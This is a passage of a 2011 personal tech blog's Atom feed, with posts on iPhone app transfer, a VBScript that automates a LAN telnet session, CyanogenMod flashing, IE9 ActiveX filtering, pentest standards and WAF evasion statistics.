src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5217793822311092377</id><published>2011-10-24T15:40:00.000+08:00</published><updated>2011-10-24T15:40:14.773+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><title type='text'>iPhone still sucks</title><content type='html'>There are 2 groups of iPhone users: those who love it so much and hate it. This is the post for those who hate it.&lt;br /&gt;&lt;br /&gt;OK, we all know iPhone sucks, partly it is due to iTune (another crap). And the number 1 reason I say "iPhone sucks" is because it has no easy way for your iPhone to connect to a new laptop. It will wipe off everything on your phone if you try to do it. Having a new laptop or re-install your laptop nowadays in common. It may due to virus or loss of your laptop. (Don't tell me to use MacBook, your MacBook can be stolen or affected by virus too).&lt;br /&gt;&lt;br /&gt;Today, I found a way to overcome this issue when you bang into a similar situation next time.&lt;br /&gt;&lt;br /&gt;Here's the step:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Authorize your new laptop with the same iTunes account.&lt;/li&gt;&lt;li&gt;Plug in your iPhone to the new laptop, and select File &amp;gt; Transfer Purchases [ This cause iTunes to transfer apps from iPhone to new laptop]&lt;/li&gt;&lt;li&gt;Sync your iPhone with iTunes by click the Apps tab, ticking the sync apps link, and applying. &amp;nbsp;&lt;/li&gt;&lt;li&gt;Now, right-click your device in the iTunes sidebar and select backup.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Now, just apply any update like iOS 5 like you normally would by click the Update button.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;All your apps and settings should remain in tact. Now should I say iPhone is not suck anymore?&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;No, iPhone still sucks because this method only&amp;nbsp;transfer apps you've grabbed through the iTunes Store, which means, for example, the MP3s you'd synced to your device that you didn't buy from Apple probably gone (forever).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5217793822311092377?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5217793822311092377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5217793822311092377'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/iphone-still-sucks.html' title='iPhone still sucks'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3549527135182100374</id><published>2011-10-19T20:48:00.000+08:00</published><updated>2011-10-19T20:48:19.198+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>WhatIsMyIPAddress by Google</title><content type='html'>You can now ask Google what is your public IP address by query with the following:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=my+ip"&gt;my ip&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;my ip address&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;show my ip&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;what is my ip&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Very cool ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3549527135182100374?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3549527135182100374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3549527135182100374'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/whatismyipaddress-by-google.html' title='WhatIsMyIPAddress by Google'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8705304431125787371</id><published>2011-10-19T14:05:00.000+08:00</published><updated>2011-10-19T14:05:15.037+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'>Automated Telnet Commands with VB script</title><content type='html'>Here's a VB script that can automate simple Telnet commands. Below is what happens during the telnet session in manual way:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Connect to an IP address on specific TCP port.&lt;/li&gt;&lt;li&gt;Press [ Enter ] to login.&lt;/li&gt;&lt;li&gt;Input the numeric key "5" and follow by an [ Enter ] key.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Below is the VB script that can automate the steps above:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;job&amp;gt;&lt;br /&gt;&amp;lt;script language="VBScript"&amp;gt;&lt;br /&gt;Option Explicit&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim WshShell&lt;br /&gt;set WshShell=CreateObject("WScript.Shell")&lt;br /&gt;WshShell.run "cmd.exe"&lt;br /&gt;WScript.Sleep 1000&lt;br /&gt;'Send commands to the window as needed - IP and commands need to be customized&lt;br /&gt;'Step 1 - Telnet to remote IP and port 99'&lt;br /&gt;WshShell.SendKeys "telnet 192.168.1.1 99"&lt;br /&gt;WshShell.SendKeys ("{Enter}")&lt;br /&gt;WScript.Sleep 1000&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;'Step 2 - Issue Commands with pauses'&lt;br /&gt;WshShell.SendKeys ("{Enter}")&lt;br /&gt;WScript.Sleep 1000&lt;br /&gt;WshShell.SendKeys "5"&lt;br /&gt;WshShell.SendKeys ("{Enter}")&lt;br /&gt;WScript.Sleep 1000&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;'Step 3 - Exit Command Window&lt;br /&gt;WshShell.SendKeys "exit"&lt;br /&gt;WshShell.SendKeys ("{Enter}")&lt;br /&gt;WScript.Quit&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/job&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Original article at &lt;a href="http://www.makeuseof.com/tag/automate-telnet-commands-vb-script/"&gt;MakeUseOf&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8705304431125787371?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8705304431125787371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8705304431125787371'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/automated-telnet-commands-with-vb.html' title='Automated Telnet Commands with VB script'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6073373352250810569</id><published>2011-10-15T15:37:00.000+08:00</published><updated>2011-10-18T15:42:02.532+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Nexus S'/><title type='text'>Update My Nexus S to CM 7.1</title><content type='html'>&lt;br /&gt;Below are the steps I took to upgrade my Nexus S to CM 7.1 recently.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 1: Download the update-cm-7.1.0-NS-signed.zip file of CyanogenMod 7.1 for my phone.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 2: Transfer the .zip file to the root folder.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 3: Turn off my phone once the transfer is complete.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 4: Boot into ClockworkMod Recovery mode by holding volume up and power buttons.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 5: Using the volume up/down (to navigate) and power key (to select), then navigate to backup and storage &amp;gt; backup.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 6: From the main menu: install zip from sdcard &amp;gt; choose zip from sdcard &amp;gt; update-cm-7.1.0-NS-signed.zip&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Step 7: Once flashing is complete, reboot and it is done.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;a href="http://download.cyanogenmod.com/?type=stable" style="background-color: transparent;"&gt;CyanogenMod 7.1&lt;/a&gt;&lt;br /&gt;&lt;br class="Apple-interchange-newline" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6073373352250810569?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6073373352250810569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6073373352250810569'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/update-my-nexus-s-to-cm-71.html' title='Update My Nexus S to CM 7.1'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8814229428735769969</id><published>2011-09-19T14:11:00.000+08:00</published><updated>2011-10-19T14:17:25.885+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='msie'/><category scheme='http://www.blogger.com/atom/ns#' term='activeX'/><title type='text'>Activate ActiveX Filtering in IE9</title><content type='html'>ActiveX Filtering is a new feature available in IE9 and it is disable by default.&lt;br /&gt;&lt;br /&gt;It allows a whitelist style protection scheme. When enabled NO ActiveX Controls are allowed to run, then when you go to a site that requires ActiveX Controls, if you trust the site you can add them to the whitelist. Only websites on the list will be able to run ActiveX Controls.&lt;br /&gt;&lt;br /&gt;To enable ActiveX Filtering, go to Tools Menu&amp;gt;Safety and then select the ActiveX Filtering Option.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vyYjYNzG8cI/Tp5q2a99GtI/AAAAAAAAABI/NPqZ3MgusmQ/s1600/activexfiltering.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="175" src="http://4.bp.blogspot.com/-vyYjYNzG8cI/Tp5q2a99GtI/AAAAAAAAABI/NPqZ3MgusmQ/s400/activexfiltering.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Enable ActiveX Filtering&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8814229428735769969?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8814229428735769969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8814229428735769969'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/09/activate-activex-filtering-in-ie9.html' title='Activate ActiveX Filtering in IE9'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-vyYjYNzG8cI/Tp5q2a99GtI/AAAAAAAAABI/NPqZ3MgusmQ/s72-c/activexfiltering.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2035849219369313794</id><published>2011-08-25T13:44:00.000+08:00</published><updated>2011-08-25T13:44:44.837+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><title type='text'>Penetration Testing Execution Standard</title><content type='html'>There is a new homepage created for "Penetration Testing Execution Standard" at&amp;nbsp;&lt;a href="http://www.pentest-standard.org/index.php/Main_Page"&gt;http://www.pentest-standard.org/index.php/Main_Page&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Although it is still at alpha release, you can see the coverage of many tools. The web site is created in the form of wiki and mind map. Here's the brief summary:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Pre-engagement Interactions&lt;/li&gt;&lt;li&gt;Intelligence Gathering&lt;/li&gt;&lt;li&gt;Threat Modeling&lt;/li&gt;&lt;li&gt;Vulnerability Analysis&lt;/li&gt;&lt;li&gt;Exploitation&lt;/li&gt;&lt;li&gt;Post Exploitation&lt;/li&gt;&lt;li&gt;Reporting&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2035849219369313794?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2035849219369313794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2035849219369313794'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/08/penetration-testing-execution-standard.html' title='Penetration Testing Execution Standard'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8721307680355788336</id><published>2011-08-23T13:04:00.002+08:00</published><updated>2011-08-23T13:04:31.822+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqlinjection'/><title type='text'>Hacking Resistance (Time-to-Hack)</title><content type='html'>After I read from the article, "&lt;a href="http://blog.spiderlabs.com/2011/07/modsecurity-sql-injection-challenge-lessons-learned.html"&gt;ModSecurity SQLi Challenge: Lesson Learned&lt;/a&gt;", I learned a lot more about SQLi.&lt;br /&gt;&lt;br /&gt;I can see a lot of creative ways to bypass security rules in order to inject SQL statements. The rule of thumb is blacklist filtering is not adequate to fully prevent SQLi.&lt;br /&gt;&lt;br /&gt;In the last section of the article is what that catch my eyes, the "Hacking Resistance (Time-to-Hack)". &amp;nbsp;In the article,&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;The real goal of using a web application firewall should be to gain visibility and to make your web applications more difficult to hack meaning that it should take attackers significantly more time to hack a vulnerable web site with a WAF in front in blocking mode vs. if the WAF was not present at all. &amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;The idea is to substantially increase the "Time-to-Hack" metric associated with compromising a site in order allow for operational security to identify the threat and take appropriate actions.&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;&lt;blockquote&gt;Think of a WAF as a tool to identify and block the initial probes and to alert incident response personnel. &amp;nbsp;It is up to the IR teams to match wits with an attacker and protect the application as necessary.&lt;/blockquote&gt;&lt;br /&gt;The article also include the analysis of&amp;nbsp;how long it took for each Level II winner to develop a working evasion for the CRS v2.2.0. &amp;nbsp;Here's the result:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Avg. # of Requests to find an evasion: &lt;b&gt;433&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Avg. Duration (Time to find an evasion): &lt;b&gt;72&lt;/b&gt; hrs&lt;/li&gt;&lt;li&gt;Shortest # of Requests to find an evasion: &lt;b&gt;118&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Shortest Duration (Time to find an evasion): &lt;b&gt;10&lt;/b&gt; hrs&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The conclusion is: the data shows that having active monitoring and response capabilities of ongoing web attacks is paramount as it may only a matter of hours before a determined attacker finds a way through your defenses.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8721307680355788336?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8721307680355788336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8721307680355788336'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/08/hacking-resistance-time-to-hack.html' title='Hacking Resistance (Time-to-Hack)'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4966746475141228603</id><published>2011-08-12T21:00:00.000+08:00</published><updated>2011-08-23T11:02:55.268+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='G+'/><title type='text'>Google+ Games</title><content type='html'>I just have my Google+ Games enabled today.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-o_-nkyNswjY/TlMX68g5LMI/AAAAAAAAJDs/WF28gXFOK3E/s1600/G%252BGames.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="98" src="http://2.bp.blogspot.com/-o_-nkyNswjY/TlMX68g5LMI/AAAAAAAAJDs/WF28gXFOK3E/s400/G%252BGames.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Google+ Games&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;And this is the first game that I play.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-h8x1w19PjYw/TlMX-s_MAwI/AAAAAAAAJDw/TgWUw3wZzNs/s1600/G%252BAngryBirds.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="366" src="http://2.bp.blogspot.com/-h8x1w19PjYw/TlMX-s_MAwI/AAAAAAAAJDw/TgWUw3wZzNs/s400/G%252BAngryBirds.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Angry Bird in Google+ Games&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4966746475141228603?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4966746475141228603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4966746475141228603'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/08/google-games.html' title='Google+ Games'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-o_-nkyNswjY/TlMX68g5LMI/AAAAAAAAJDs/WF28gXFOK3E/s72-c/G%252BGames.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6297961226701066894</id><published>2011-07-21T16:14:00.001+08:00</published><updated>2011-07-21T16:14:05.646+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>Backup Your Data from The Cloud</title><content type='html'>Cloud computing is hot. It is the backend system that supports many information systems such as email, social networks, photos, etc. However, have you ever plan to backup your data from the Cloud one day?&lt;br /&gt;&lt;br /&gt;There are 2 options: Google Takeout and Cloud Export.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.google.com/takeout/"&gt;Google Takeout&lt;/a&gt; (from Google) allows you to download all your data from their services. This includes +1, Buzz, Contacts and Circles, Picasa web albums, profile and streams.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.nabber.org/projects/cloudexport/"&gt;Cloud Export&lt;/a&gt; is a Windows application that will backup everything for you. Once login, it will&amp;nbsp;download your contacts, Gmail, Reader subscriptions, Blogger entries, and more and store them all locally. The service supports Google accounts, Google Apps accounts, and even Twitter, Identi.ca, and more.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6297961226701066894?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6297961226701066894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6297961226701066894'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/backup-your-data-from-cloud.html' title='Backup Your Data from The Cloud'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1687510912151308351</id><published>2011-07-13T18:12:00.002+08:00</published><updated>2011-07-13T18:12:36.232+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GMail'/><title type='text'>Gmail Shortcuts</title><content type='html'>I didn't know that there is a keyboard shortcut in GMail until today. This is by accidentally, I press the "?" or "Shift + /".&lt;br /&gt;&lt;br /&gt;;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1687510912151308351?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1687510912151308351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1687510912151308351'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/gmail-shortcuts.html' title='Gmail Shortcuts'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7516321606736032745</id><published>2011-07-12T18:20:00.000+08:00</published><updated>2011-07-13T18:22:18.196+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Complete Guide for Unlocking and Rooting Android Phone</title><content type='html'>Today, I found 2 great articles that explain what/how to unlock and root an android phone.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.addictivetips.com/mobile/what-is-bootloader-and-how-to-unlock-bootloader-on-android-phones-complete-guide/"&gt;http://www.addictivetips.com/mobile/what-is-bootloader-and-how-to-unlock-bootloader-on-android-phones-complete-guide/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.addictivetips.com/mobile/how-to-root-your-android-phone-device/"&gt;http://www.addictivetips.com/mobile/how-to-root-your-android-phone-device/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7516321606736032745?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7516321606736032745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7516321606736032745'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/complete-guide-for-unlocking-and.html' title='Complete Guide for Unlocking and Rooting Android Phone'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6836473306308439447</id><published>2011-07-09T11:05:00.003+08:00</published><updated>2011-07-09T11:05:47.730+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>MerdekaReview Error Page</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="211" src="http://2.bp.blogspot.com/-NI6E1pngKLM/ThfFKrJyR_I/AAAAAAAAI0A/84FagHmQMCA/s400/mydatabase.png" style="margin-left: auto; margin-right: auto;" width="400" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;MySQL Error on MerdekaReview site&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6836473306308439447?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6836473306308439447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6836473306308439447'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/merdekareview-error-page.html' title='MerdekaReview Error Page'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-NI6E1pngKLM/ThfFKrJyR_I/AAAAAAAAI0A/84FagHmQMCA/s72-c/mydatabase.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6163458049979650538</id><published>2011-07-06T11:31:00.001+08:00</published><updated>2011-07-06T11:32:15.712+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><title type='text'>Facebook -1 Database Error</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-1Bb6ZVelUsI/ThPWlVDhYyI/AAAAAAAAIzk/FmTeARqTO5Y/s1600/fb-like-1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="171" src="http://2.bp.blogspot.com/-1Bb6ZVelUsI/ThPWlVDhYyI/AAAAAAAAIzk/FmTeARqTO5Y/s400/fb-like-1.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Facebook error shows "-1" comments&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6163458049979650538?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6163458049979650538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6163458049979650538'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/07/facebook-1-database-error.html' title='Facebook -1 Database Error'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image 